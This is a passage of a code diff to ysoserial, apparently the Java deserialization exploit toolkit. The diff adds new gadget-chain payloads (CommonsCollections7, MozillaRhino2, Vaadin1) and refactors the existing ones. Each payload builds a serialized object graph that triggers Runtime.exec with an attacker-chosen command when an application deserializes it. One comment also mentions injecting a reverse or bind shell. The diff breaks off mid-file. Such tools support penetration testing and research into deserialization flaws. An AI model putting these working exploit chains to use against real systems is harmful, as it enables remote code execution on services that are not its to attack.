 import ysoserial.payloads.util.PayloadRunner;
+import ysoserial.payloads.util.Reflections;
 
 import java.io.Serializable;
 import java.lang.reflect.Field;
@@ -70,7 +71,7 @@ public class CommonsCollections6 extends PayloadRunner implements ObjectPayload<
             f = HashSet.class.getDeclaredField("backingMap");
         }
 
-        f.setAccessible(true);
+        Reflections.setAccessible(f);
         HashMap innimpl = (HashMap) f.get(map);
 
         Field f2 = null;
@@ -80,8 +81,7 @@ public class CommonsCollections6 extends PayloadRunner implements ObjectPayload<
             f2 = HashMap.class.getDeclaredField("elementData");
         }
 
-
+        Reflections.setAccessible(f2);
-        f2.setAccessible(true);
         Object[] array = (Object[]) f2.get(innimpl);
 
         Object node = array[0];
@@ -96,7 +96,7 @@ public class CommonsCollections6 extends PayloadRunner implements ObjectPayload<
             keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
         }
 
-        keyField.setAccessible(true);
+        Reflections.setAccessible(keyField);
         keyField.set(node, entry);
 
         return map;

src/main/java/ysoserial/payloads/CommonsCollections7.java

@@ -0,0 +1,87 @@
+package ysoserial.payloads;
+
+import org.apache.commons.collections.Transformer;
+import org.apache.commons.collections.functors.ChainedTransformer;
+import org.apache.commons.collections.functors.ConstantTransformer;
+import org.apache.commons.collections.functors.InvokerTransformer;
+import org.apache.commons.collections.map.LazyMap;
+
+import ysoserial.payloads.annotation.Authors;
+import ysoserial.payloads.annotation.Dependencies;
+import ysoserial.payloads.util.PayloadRunner;
+import ysoserial.payloads.util.Reflections;
+
+import java.util.HashMap;
+import java.util.Hashtable;
+import java.util.Map;
+
+/*
+    Payload method chain:
+
+    java.util.Hashtable.readObject
+    java.util.Hashtable.reconstitutionPut
+    org.apache.commons.collections.map.AbstractMapDecorator.equals
+    java.util.AbstractMap.equals
+    org.apache.commons.collections.map.LazyMap.get
+    org.apache.commons.collections.functors.ChainedTransformer.transform
+    org.apache.commons.collections.functors.InvokerTransformer.transform
+    java.lang.reflect.Method.invoke
+    sun.reflect.DelegatingMethodAccessorImpl.invoke
+    sun.reflect.NativeMethodAccessorImpl.invoke
+    sun.reflect.NativeMethodAccessorImpl.invoke0
+    java.lang.Runtime.exec
+*/
+
+@SuppressWarnings({"rawtypes", "unchecked"})
+@Dependencies({"commons-collections:commons-collections:3.1"})
+@Authors({Authors.SCRISTALLI, Authors.HANYRAX, Authors.EDOARDOVIGNATI})
+
+public class CommonsCollections7 extends PayloadRunner implements ObjectPayload<Hashtable> {
+
+    public Hashtable getObject(final String command) throws Exception {
+
+        // Reusing transformer chain and LazyMap gadgets from previous payloads
+        final String[] execArgs = new String[]{command};
+
+        final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
+
+        final Transformer[] transformers = new Transformer[]{
+            new ConstantTransformer(Runtime.class),
+            new InvokerTransformer("getMethod",
+                new Class[]{String.class, Class[].class},
+                new Object[]{"getRuntime", new Class[0]}),
+            new InvokerTransformer("invoke",
+                new Class[]{Object.class, Object[].class},
+                new Object[]{null, new Object[0]}),
+            new InvokerTransformer("exec",
+                new Class[]{String.class},
+                execArgs),
+            new ConstantTransformer(1)};
+
+        Map innerMap1 = new HashMap();
+        Map innerMap2 = new HashMap();
+
+        // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
+        Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
+        lazyMap1.put("yy", 1);
+
+        Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
+        lazyMap2.put("zZ", 1);
+
+        // Use the colliding Maps as keys in Hashtable
+        Hashtable hashtable = new Hashtable();
+        hashtable.put(lazyMap1, 1);
+        hashtable.put(lazyMap2, 2);
+
+        Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
+
+        // Needed to ensure hash collision after previous manipulations
+        lazyMap2.remove("yy");
+
+        return hashtable;
+    }
+
+    public static void main(final String[] args) throws Exception {
+        PayloadRunner.run(CommonsCollections7.class, args);
+    }
+}

src/main/java/ysoserial/payloads/FileUpload1.java

@@ -14,6 +14,7 @@ import org.apache.commons.io.output.ThresholdingOutputStream;
 import ysoserial.payloads.annotation.Authors;
 import ysoserial.payloads.annotation.Dependencies;
 import ysoserial.payloads.annotation.PayloadTest;
+import ysoserial.payloads.util.JavaVersion;
 import ysoserial.payloads.util.PayloadRunner;
 import ysoserial.payloads.util.Reflections;
 
@@ -40,9 +41,12 @@ import ysoserial.payloads.util.Reflections;
     "commons-fileupload:commons-fileupload:1.3.1",
     "commons-io:commons-io:2.4"
 } )
-@PayloadTest(harness="ysoserial.payloads.FileUploadTest")
+@PayloadTest(harness="ysoserial.test.payloads.FileUploadTest", precondition = "isApplicableJavaVersion", flaky = "possible race condition")
 @Authors({ Authors.MBECHLER })
 public class FileUpload1 implements ReleaseableObjectPayload<DiskFileItem> {
+    public static boolean isApplicableJavaVersion() {
+        return JavaVersion.isAtLeast(7);
+    }
 
     public DiskFileItem getObject ( String command ) throws Exception {
 

src/main/java/ysoserial/payloads/Hibernate1.java

@@ -5,6 +5,8 @@ import java.lang.reflect.Array;
 import java.lang.reflect.Constructor;
 import java.lang.reflect.InvocationTargetException;
 import java.lang.reflect.Method;
+import java.util.Map;
+import java.util.HashMap;
 
 import org.hibernate.engine.spi.TypedValue;
 import org.hibernate.tuple.component.AbstractComponentTuplizer;
@@ -12,9 +14,12 @@ import org.hibernate.tuple.component.PojoComponentTuplizer;
 import org.hibernate.type.AbstractType;
 import org.hibernate.type.ComponentType;
 import org.hibernate.type.Type;
+import org.hibernate.EntityMode;
 
 import ysoserial.payloads.annotation.Authors;
+import ysoserial.payloads.annotation.PayloadTest;
 import ysoserial.payloads.util.Gadgets;
+import ysoserial.payloads.util.JavaVersion;
 import ysoserial.payloads.util.PayloadRunner;
 import ysoserial.payloads.util.Reflections;
 
@@ -37,7 +42,11 @@ import ysoserial.payloads.util.Reflections;
  * @author mbechler
  */
 @Authors({ Authors.MBECHLER })
+@PayloadTest(precondition = "isApplicableJavaVersion")
 public class Hibernate1 implements ObjectPayload<Object>, DynamicDependencies {
+    public static boolean isApplicableJavaVersion() {
+        return JavaVersion.isAtLeast(7);
+    }
 
     public static String[] getDependencies () {
         if ( System.getProperty("hibernate5") != null ) {
@@ -69,7 +78,7 @@ public class Hibernate1 implements ObjectPayload<Object>, DynamicDependencies {
         Class<?> getterIf = Class.forName("org.hibernate.property.Getter");
         Class<?> basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter");
         Constructor<?> bgCon = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);
-        bgCon.setAccessible(true);
+        Reflections.setAccessible(bgCon);
 
         if ( !method.startsWith("get") ) {
             throw new IllegalArgumentException("Hibernate4 can only call getters");
@@ -105,6 +114,15 @@ public class Hibernate1 implements ObjectPayload<Object>, DynamicDependencies {
 
     static Object makeCaller ( Object tpl, Object getters ) throws NoSuchMethodException, InstantiationException, IllegalAccessException,
             InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException {
+        if ( System.getProperty("hibernate3") != null ) {
+            return makeHibernate3Caller(tpl, getters);
+        }
+        return makeHibernate45Caller(tpl, getters);
+    }
+
+
+    static Object makeHibernate45Caller ( Object tpl, Object getters ) throws NoSuchMethodException, InstantiationException, IllegalAccessException,
+            InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException {
         PojoComponentTuplizer tup = Reflections.createWithoutConstructor(PojoComponentTuplizer.class);
         Reflections.getField(AbstractComponentTuplizer.class, "getters").set(tup, getters);
 
@@ -127,6 +145,40 @@ public class Hibernate1 implements ObjectPayload<Object>, DynamicDependencies {
     }
 
 
+    static Object makeHibernate3Caller ( Object tpl, Object getters ) throws NoSuchMethodException, InstantiationException, IllegalAccessException,
+            InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException {
+        // Load at runtime to avoid dependency conflicts
+        Class entityEntityModeToTuplizerMappingClass = Class.forName("org.hibernate.tuple.entity.EntityEntityModeToTuplizerMapping");
+        Class entityModeToTuplizerMappingClass = Class.forName("org.hibernate.tuple.EntityModeToTuplizerMapping");
+        Class typedValueClass = Class.forName("org.hibernate.engine.TypedValue");
+
+        PojoComponentTuplizer tup = Reflections.createWithoutConstructor(PojoComponentTuplizer.class);
+        Reflections.getField(AbstractComponentTuplizer.class, "getters").set(tup, getters);
+        Reflections.getField(AbstractComponentTuplizer.class, "propertySpan").set(tup, 1);
+
+        ComponentType t = Reflections.createWithConstructor(ComponentType.class, AbstractType.class, new Class[0], new Object[0]);
+        HashMap hm = new HashMap();
+        hm.put(EntityMode.POJO, tup);
+        Object emtm = Reflections.createWithConstructor(entityEntityModeToTuplizerMappingClass, entityModeToTuplizerMappingClass, new Class[]{ Map.class }, new Object[]{ hm });
+        Reflections.setFieldValue(t, "tuplizerMapping", emtm);
+        Reflections.setFieldValue(t, "propertySpan", 1);
+        Reflections.setFieldValue(t, "propertyTypes", new Type[] {
+            t
+        });
+
+        Constructor<?> typedValueConstructor = typedValueClass.getDeclaredConstructor(Type.class, Object.class, EntityMode.class);
+        Object v1 = typedValueConstructor.newInstance(t, null, EntityMode.POJO);
+        Reflections.setFieldValue(v1, "value", tpl);
+        Reflections.setFieldValue(v1, "type", t);
+
+        Object v2 = typedValueConstructor.newInstance(t, null, EntityMode.POJO);
+        Reflections.setFieldValue(v2, "value", tpl);
+        Reflections.setFieldValue(v2, "type", t);
+
+        return Gadgets.makeMap(v1, v2);
+    }
+
+
     public static void main ( final String[] args ) throws Exception {
         PayloadRunner.run(Hibernate1.class, args);
     }

src/main/java/ysoserial/payloads/Hibernate2.java

@@ -3,6 +3,7 @@ package ysoserial.payloads;
 
 import ysoserial.payloads.annotation.Authors;
 import ysoserial.payloads.annotation.PayloadTest;
+import ysoserial.payloads.util.JavaVersion;
 import ysoserial.payloads.util.PayloadRunner;
 
 import com.sun.rowset.JdbcRowSetImpl;
@@ -41,9 +42,12 @@ import com.sun.rowset.JdbcRowSetImpl;
 @SuppressWarnings ( {
     "restriction"
 } )
-@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectTest")
+@PayloadTest(harness="ysoserial.test.payloads.JRMPReverseConnectTest", precondition = "isApplicableJavaVersion")
 @Authors({ Authors.MBECHLER })
 public class Hibernate2 implements ObjectPayload<Object>, DynamicDependencies {
+    public static boolean isApplicableJavaVersion() {
+        return JavaVersion.isAtLeast(7);
+    }
 
     public static String[] getDependencies () {
         return Hibernate1.getDependencies();

src/main/java/ysoserial/payloads/JBossInterceptors1.java

@@ -16,8 +16,11 @@ import org.jboss.interceptor.spi.model.InterceptionModel;
 import org.jboss.interceptor.spi.model.InterceptionType;
 import ysoserial.payloads.annotation.Authors;
 import ysoserial.payloads.annotation.Dependencies;
+import ysoserial.payloads.annotation.PayloadTest;
 import ysoserial.payloads.util.Gadgets;
+import ysoserial.payloads.util.JavaVersion;
 import ysoserial.payloads.util.PayloadRunner;
+import ysoserial.payloads.util.Reflections;
 
 import java.lang.reflect.Constructor;
 import java.util.*;
@@ -26,11 +29,15 @@ import java.util.*;
     by @matthias_kaiser
 */
 @SuppressWarnings({"rawtypes", "unchecked"})
+@PayloadTest(precondition = "isApplicableJavaVersion")
 @Dependencies({ "javassist:javassist:3.12.1.GA", "org.jboss.interceptor:jboss-interceptor-core:2.0.0.Final",
     "javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1",
     "org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21" })
 @Authors({ Authors.MATTHIASKAISER })
 public class JBossInterceptors1 implements ObjectPayload<Object> {
+    public static boolean isApplicableJavaVersion() {
+        return JavaVersion.isAtLeast(7);
+    }
 
     public Object getObject(final String command) throws Exception {
 
@@ -44,7 +51,7 @@ public class JBossInterceptors1 implements ObjectPayload<Object> {
         s.add(org.jboss.interceptor.spi.model.InterceptionType.POST_ACTIVATE);
 
         Constructor defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class);
-        defaultMethodMetadataConstructor.setAccessible(true);
+        Reflections.setAccessible(defaultMethodMetadataConstructor);
         MethodMetadata methodMetadata = (MethodMetadata) defaultMethodMetadataConstructor.newInstance(s,
                 MethodReference.of(TemplatesImpl.class.getMethod("newTransformer"), true));
 

src/main/java/ysoserial/payloads/JRMPClient.java

@@ -49,7 +49,7 @@ import ysoserial.payloads.util.PayloadRunner;
 @SuppressWarnings ( {
     "restriction"
 } )
-@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectSMTest")
+@PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectSMTest")
 @Authors({ Authors.MBECHLER })
 public class JRMPClient extends PayloadRunner implements ObjectPayload<Registry> {
 

src/main/java/ysoserial/payloads/JSON1.java

@@ -22,7 +22,6 @@ import javax.management.openmbean.TabularType;
 import javax.xml.transform.Templates;
 
 import org.springframework.aop.framework.AdvisedSupport;
-import com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl;
 import net.sf.json.JSONObject;
 
 
@@ -95,12 +94,11 @@ public class JSON1 implements ObjectPayload<Object> {
         // it's very likely that there are other proxy impls that could be used
         AdvisedSupport as = new AdvisedSupport();
         as.setTarget(payload);
-        InvocationHandler delegateInvocationHandler = (InvocationHandler) Reflections
+        InvocationHandler delegateInvocationHandler = (InvocationHandler) Reflections.newInstance("org.springframework.aop.framework.JdkDynamicAopProxy", as);
-                .getFirstCtor("org.springframework.aop.framework.JdkDynamicAopProxy").newInstance(as);
         InvocationHandler cdsInvocationHandler = Gadgets.createMemoizedInvocationHandler(Gadgets.createMap("getCompositeType", rt));
-        CompositeInvocationHandlerImpl invocationHandler = new CompositeInvocationHandlerImpl();
+        InvocationHandler invocationHandler = (InvocationHandler) Reflections.newInstance("com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl");
-        invocationHandler.addInvocationHandler(CompositeData.class, cdsInvocationHandler);
+        ((Map) Reflections.getFieldValue(invocationHandler, "classToInvocationHandler")).put(CompositeData.class, cdsInvocationHandler);
-        invocationHandler.setDefaultHandler(delegateInvocationHandler);
+        Reflections.setFieldValue(invocationHandler, "defaultHandler", delegateInvocationHandler);
         final CompositeData cdsProxy = Gadgets.createProxy(invocationHandler, CompositeData.class, ifaces);
 
         JSONObject jo = new JSONObject();

src/main/java/ysoserial/payloads/JavassistWeld1.java

@@ -16,8 +16,11 @@ import org.jboss.weld.interceptor.spi.model.InterceptionModel;
 import org.jboss.weld.interceptor.spi.model.InterceptionType;
 import ysoserial.payloads.annotation.Authors;
 import ysoserial.payloads.annotation.Dependencies;
+import ysoserial.payloads.annotation.PayloadTest;
 import ysoserial.payloads.util.Gadgets;
+import ysoserial.payloads.util.JavaVersion;
 import ysoserial.payloads.util.PayloadRunner;
+import ysoserial.payloads.util.Reflections;
 
 import java.lang.reflect.Constructor;
 import java.util.*;
@@ -26,11 +29,15 @@ import java.util.*;
     by @matthias_kaiser
 */
 @SuppressWarnings({"rawtypes", "unchecked"})
+@PayloadTest(precondition = "isApplicableJavaVersion")
 @Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.weld:weld-core:1.1.33.Final",
     "javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1",
     "org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21" })
 @Authors({ Authors.MATTHIASKAISER })
 public class JavassistWeld1 implements ObjectPayload<Object> {
+    public static boolean isApplicableJavaVersion() {
+        return JavaVersion.isAtLeast(7);
+    }
 
     public Object getObject(final String command) throws Exception {
 
@@ -44,7 +51,7 @@ public class JavassistWeld1 implements ObjectPayload<Object> {
         s.add(org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE);
 
         Constructor defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class);
-        defaultMethodMetadataConstructor.setAccessible(true);
+        Reflections.setAccessible(defaultMethodMetadataConstructor);
         MethodMetadata methodMetadata = (MethodMetadata) defaultMethodMetadataConstructor.newInstance(s,
                 MethodReference.of(TemplatesImpl.class.getMethod("newTransformer"), true));
 

src/main/java/ysoserial/payloads/MozillaRhino1.java

@@ -8,6 +8,7 @@ import ysoserial.payloads.annotation.PayloadTest;
 import ysoserial.payloads.util.Gadgets;
 import ysoserial.payloads.util.JavaVersion;
 import ysoserial.payloads.util.PayloadRunner;
+import ysoserial.payloads.util.Reflections;
 
 import javax.management.BadAttributeValueExpException;
 import java.lang.reflect.Constructor;
@@ -27,7 +28,7 @@ public class MozillaRhino1 implements ObjectPayload<Object> {
 
         Class nativeErrorClass = Class.forName("org.mozilla.javascript.NativeError");
         Constructor nativeErrorConstructor = nativeErrorClass.getDeclaredConstructor();
-        nativeErrorConstructor.setAccessible(true);
+        Reflections.setAccessible(nativeErrorConstructor);
         IdScriptableObject idScriptableObject = (IdScriptableObject) nativeErrorConstructor.newInstance();
 
         Context context = Context.enter();
@@ -43,14 +44,14 @@ public class MozillaRhino1 implements ObjectPayload<Object> {
         idScriptableObject.setGetterOrSetter("message", 0, nativeJavaMethod, false);
 
         Method getSlot = ScriptableObject.class.getDeclaredMethod("getSlot", String.class, int.class, int.class);
-        getSlot.setAccessible(true);
+        Reflections.setAccessible(getSlot);
         Object slot = getSlot.invoke(idScriptableObject, "name", 0, 1);
         Field getter = slot.getClass().getDeclaredField("getter");
-        getter.setAccessible(true);
+        Reflections.setAccessible(getter);
 
         Class memberboxClass = Class.forName("org.mozilla.javascript.MemberBox");
         Constructor memberboxClassConstructor = memberboxClass.getDeclaredConstructor(Method.class);
-        memberboxClassConstructor.setAccessible(true);
+        Reflections.setAccessible(memberboxClassConstructor);
         Object memberboxes = memberboxClassConstructor.newInstance(enterMethod);
         getter.set(slot, memberboxes);
 
@@ -59,7 +60,7 @@ public class MozillaRhino1 implements ObjectPayload<Object> {
 
         BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
         Field valField = badAttributeValueExpException.getClass().getDeclaredField("val");
-        valField.setAccessible(true);
+        Reflections.setAccessible(valField);
         valField.set(badAttributeValueExpException, idScriptableObject);
 
         return badAttributeValueExpException;

src/main/java/ysoserial/payloads/MozillaRhino2.java

@@ -0,0 +1,109 @@
+package ysoserial.payloads;
+
+import org.mozilla.javascript.*;
+import org.mozilla.javascript.tools.shell.Environment;
+import ysoserial.payloads.annotation.Authors;
+import ysoserial.payloads.annotation.Dependencies;
+import ysoserial.payloads.util.Gadgets;
+import ysoserial.payloads.util.PayloadRunner;
+import ysoserial.payloads.util.Reflections;
+
+import java.io.IOException;
+import java.io.ObjectOutputStream;
+import java.lang.reflect.Method;
+import java.util.Hashtable;
+import java.util.Map;
+
+/*
+
+    Works on rhino 1.6R6 and above & doesn't depend on BadAttributeValueExpException's readObject
+
+    Chain:
+
+    NativeJavaObject.readObject()
+      JavaAdapter.readAdapterObject()
+        ObjectInputStream.readObject()
+          ...
+            NativeJavaObject.readObject()
+              JavaAdapter.readAdapterObject()
+                JavaAdapter.getAdapterClass()
+                  JavaAdapter.getObjectFunctionNames()
+                    ScriptableObject.getProperty()
+                        ScriptableObject.get()
+                          ScriptableObject.getImpl()
+                            Method.invoke()
+                              Context.enter()
+        JavaAdapter.getAdapterClass()
+          JavaAdapter.getObjectFunctionNames()
+            ScriptableObject.getProperty()
+              NativeJavaArray.get()
+                NativeJavaObject.get()
+                  JavaMembers.get()
+                    Method.invoke()
+                      TemplatesImpl.getOutputProperties()
+                        ...
+
+    by @_tint0
+
+*/
+@SuppressWarnings({"rawtypes", "unchecked"})
+@Dependencies({"rhino:js:1.7R2"})
+@Authors({ Authors.TINT0 })
+public class MozillaRhino2 implements ObjectPayload<Object> {
+
+    public Object getObject( String command) throws Exception {
+        ScriptableObject dummyScope = new Environment();
+        Map<Object, Object> associatedValues = new Hashtable<Object, Object>();
+        associatedValues.put("ClassCache", Reflections.createWithoutConstructor(ClassCache.class));
+        Reflections.setFieldValue(dummyScope, "associatedValues", associatedValues);
+
+        Object initContextMemberBox = Reflections.createWithConstructor(
+            Class.forName("org.mozilla.javascript.MemberBox"),
+            (Class<Object>)Class.forName("org.mozilla.javascript.MemberBox"),
+            new Class[] {Method.class},
+            new Object[] {Context.class.getMethod("enter")});
+
+        ScriptableObject initContextScriptableObject = new Environment();
+        Method makeSlot = ScriptableObject.class.getDeclaredMethod("accessSlot", String.class, int.class, int.class);
+        Reflections.setAccessible(makeSlot);
+        Object slot = makeSlot.invoke(initContextScriptableObject, "foo", 0, 4);
+        Reflections.setFieldValue(slot, "getter", initContextMemberBox);
+
+        NativeJavaObject initContextNativeJavaObject = new NativeJavaObject();
+        Reflections.setFieldValue(initContextNativeJavaObject, "parent", dummyScope);
+        Reflections.setFieldValue(initContextNativeJavaObject, "isAdapter", true);
+        Reflections.setFieldValue(initContextNativeJavaObject, "adapter_writeAdapterObject",
+            this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class));
+        Reflections.setFieldValue(initContextNativeJavaObject, "javaObject", initContextScriptableObject);
+
+        ScriptableObject scriptableObject = new Environment();
+        scriptableObject.setParentScope(initContextNativeJavaObject);
+        makeSlot.invoke(scriptableObject, "outputProperties", 0, 2);
+
+        NativeJavaArray nativeJavaArray = Reflections.createWithoutConstructor(NativeJavaArray.class);
+        Reflections.setFieldValue(nativeJavaArray, "parent", dummyScope);
+        Reflections.setFieldValue(nativeJavaArray, "javaObject", Gadgets.createTemplatesImpl(command));
+        nativeJavaArray.setPrototype(scriptableObject);
+        Reflections.setFieldValue(nativeJavaArray, "prototype", scriptableObject);
+
+        NativeJavaObject nativeJavaObject = new NativeJavaObject();
+        Reflections.setFieldValue(nativeJavaObject, "parent", dummyScope);
+        Reflections.setFieldValue(nativeJavaObject, "isAdapter", true);
+        Reflections.setFieldValue(nativeJavaObject, "adapter_writeAdapterObject",
+            this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class));
+        Reflections.setFieldValue(nativeJavaObject, "javaObject", nativeJavaArray);
+
+        return nativeJavaObject;
+    }
+
+    public static void customWriteAdapterObject(Object javaObject, ObjectOutputStream out) throws IOException {
+        out.writeObject("java.lang.Object");
+        out.writeObject(new String[0]);
+        out.writeObject(javaObject);
+    }
+
+    public static void main(final String[] args) throws Exception {
+        PayloadRunner.run(MozillaRhino2.class, args);
+    }
+
+}

src/main/java/ysoserial/payloads/Myfaces2.java

@@ -4,6 +4,7 @@ package ysoserial.payloads;
 
 import ysoserial.payloads.annotation.Authors;
 import ysoserial.payloads.annotation.PayloadTest;
+import ysoserial.payloads.util.JavaVersion;
 import ysoserial.payloads.util.PayloadRunner;
 
 
@@ -28,9 +29,12 @@ import ysoserial.payloads.util.PayloadRunner;
  *
  * @author mbechler
  */
-@PayloadTest ( harness = "ysoserial.payloads.MyfacesTest" )
+@PayloadTest(harness="ysoserial.test.payloads.MyfacesTest", precondition = "isApplicableJavaVersion")
 @Authors({ Authors.MBECHLER })
 public class Myfaces2 implements ObjectPayload<Object>, DynamicDependencies {
+    public static boolean isApplicableJavaVersion() {
+        return JavaVersion.isAtLeast(7);
+    }
 
     public static String[] getDependencies () {
         return Myfaces1.getDependencies();

src/main/java/ysoserial/payloads/Vaadin1.java

@@ -0,0 +1,82 @@
+package ysoserial.payloads;
+
+import javax.management.BadAttributeValueExpException;
+
+import com.vaadin.data.util.NestedMethodProperty;
+import com.vaadin.data.util.PropertysetItem;
+
+import ysoserial.payloads.annotation.Authors;
+import ysoserial.payloads.annotation.Dependencies;
+import ysoserial.payloads.annotation.PayloadTest;
+import ysoserial.payloads.util.Gadgets;
+import ysoserial.payloads.util.JavaVersion;
+import ysoserial.payloads.util.PayloadRunner;
+import ysoserial.payloads.util.Reflections;
+
+@Dependencies ( { "com.vaadin:vaadin-server:7.7.14", "com.vaadin:vaadin-shared:7.7.14" })
+@PayloadTest ( precondition = "isApplicableJavaVersion")
+@Authors({ Authors.KULLRICH })
+public class Vaadin1 implements ObjectPayload<Object>
+{
+//  +-------------------------------------------------+
+//  |                                                 |
+//  |  BadAttributeValueExpException                  |
+//  |                                                 |
+//  |  val ==>  PropertysetItem                       |
+//  |                                                 |
+//  |  readObject() ==> val.toString()                |
+//  |          +                                      |
+//  +----------|--------------------------------------+
+//             |
+//             |
+//             |
+//        +----|-----------------------------------------+
+//        |    v                                         |
+//        |  PropertysetItem                             |
+//        |                                              |
+//        |  toString () => getPropertyId().getValue ()  |
+//        |                                       +      |
+//        +---------------------------------------|------+
+//                                                |
+//                  +-----------------------------+
+//                  |
+//            +-----|----------------------------------------------+
+//            |     v                                              |
+//            |  NestedMethodProperty                              |
+//            |                                                    |
+//            |  getValue() => java.lang.reflect.Method.invoke ()  |
+//            |                                           |        |
+//            +-------------------------------------------|--------+
+//                                                        |
+//                    +-----------------------------------+
+//                    |
+//                +---|--------------------------------------------+
+//                |   v                                            |
+//                |  TemplatesImpl.getOutputProperties()           |
+//                |                                                |
+//                +------------------------------------------------+
+    
+    @Override
+    public Object getObject (String command) throws Exception
+    {
+        Object templ = Gadgets.createTemplatesImpl (command);
+        PropertysetItem pItem = new PropertysetItem ();        
+        
+        NestedMethodProperty<Object> nmprop = new NestedMethodProperty<Object> (templ, "outputProperties");
+        pItem.addItemProperty ("outputProperties", nmprop);
+        
+        BadAttributeValueExpException b = new BadAttributeValueExpException ("");
+        Reflections.setFieldValue (b, "val", pItem);
+        
+        return b;
+    }
+
+    public static boolean isApplicableJavaVersion() {
+        return JavaVersion.isBadAttrValExcReadObj();
+    }
+
+    public static void main(final String[] args) throws Exception {
+        PayloadRunner.run(Vaadin1.class, args);
+    }
+
+}

src/main/java/ysoserial/payloads/Wicket1.java

@@ -46,7 +46,7 @@ import ysoserial.payloads.util.Reflections;
  * $ cat /tmp/upload_3805815b_2d50_4e00_9dae_a854d5a0e614_479431761.tmp
  * blue lobster
  */
-@PayloadTest(harness = "ysoserial.payloads.FileUploadTest")
+@PayloadTest(harness="ysoserial.test.payloads.FileUploadTest", flaky="possible race condition")
 @Dependencies({"org.apache.wicket:wicket-util:6.23.0", "org.slf4j:slf4j-api:1.6.4"})
 @Authors({ Authors.JACOBAINES })
 public class Wicket1 implements ReleaseableObjectPayload<DiskFileItem> {

src/main/java/ysoserial/payloads/annotation/Authors.java

@@ -18,6 +18,13 @@ public @interface Authors {
     String GEBL = "gebl" ;
     String JACOBAINES = "jacob-baines";
     String JASINNER = "jasinner";
+    String KULLRICH = "kai_ullrich";
+    String TINT0 = "_tint0";
+    String SCRISTALLI = "scristalli";
+    String HANYRAX = "hanyrax";
+    String EDOARDOVIGNATI = "EdoardoVignati";
+    String JANG = "Jang";
+    String ARTSPLOIT = "artsploit";
 
     String[] value() default {};
 

src/main/java/ysoserial/payloads/annotation/PayloadTest.java

@@ -9,11 +9,11 @@ import java.lang.annotation.RetentionPolicy;
  */
 @Retention(RetentionPolicy.RUNTIME)
 public @interface PayloadTest {
-
     String skip() default "";
-    
+
     String precondition() default "";
-    
+
     String harness() default "";
 
+    String flaky() default "";
 }

src/main/java/ysoserial/payloads/util/Gadgets.java

@@ -12,6 +12,7 @@ import java.lang.reflect.Proxy;
 import java.util.HashMap;
 import java.util.Map;
 
+import com.nqzero.permit.Permit;
 import javassist.ClassClassPath;
 import javassist.ClassPool;
 import javassist.CtClass;
@@ -114,7 +115,7 @@ public class Gadgets {
         // run command in static initializer
         // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
         String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
-            command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
+            command.replace("\\", "\\\\").replace("\"", "\\\"") +
             "\");";
         clazz.makeClassInitializer().insertAfter(cmd);
         // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
@@ -148,7 +149,7 @@ public class Gadgets {
             nodeC = Class.forName("java.util.HashMap$Entry");
         }
         Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
-        nodeCons.setAccessible(true);
+        Reflections.setAccessible(nodeCons);
 
         Object tbl = Array.newInstance(nodeC, 2);
         Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));

src/main/java/ysoserial/payloads/util/JavaVersion.java

@@ -21,13 +21,13 @@ public class JavaVersion {
         }
         JavaVersion v = new JavaVersion();
         String parts[] = property.split("\\.|_|-");
-        v.major   = Integer.parseInt(parts[1]);
+        int start = "1".equals(parts[0]) ? 1 : 0; // skip "1." prefix
-        v.minor   = Integer.parseInt(parts[2]);
+        v.major   = Integer.parseInt(parts[start + 0]);
-        v.update  = Integer.parseInt(parts[3]);
+        v.minor   = Integer.parseInt(parts[start + 1]);
+        v.update  = Integer.parseInt(parts[start + 2]);
         return v;
     }
 
-
     public static boolean isAnnInvHUniversalMethodImpl() {
         JavaVersion v = JavaVersion.getLocalVersion();
         return v != null && (v.major < 8 || (v.major == 8 && v.update <= 71));
@@ -37,5 +37,10 @@ public class JavaVersion {
         JavaVersion v = JavaVersion.getLocalVersion();
         return v != null && (v.major > 8 && v.update >= 76);
     }
+
+    public static boolean isAtLeast(int major) {
+        JavaVersion v = JavaVersion.getLocalVersion();
+        return v != null && v.major >= major;
+    }
 }
 

src/main/java/ysoserial/payloads/util/Reflections.java

@@ -1,20 +1,42 @@
 package ysoserial.payloads.util;
 
+import java.lang.reflect.AccessibleObject;
 import java.lang.reflect.Constructor;
 import java.lang.reflect.Field;
 import java.lang.reflect.InvocationTargetException;
 
 import sun.reflect.ReflectionFactory;
 
+import com.nqzero.permit.Permit;
+
 @SuppressWarnings ( "restriction" )
 public class Reflections {
 
-	public static Field getField(final Class<?> clazz, final String fieldName) throws Exception {
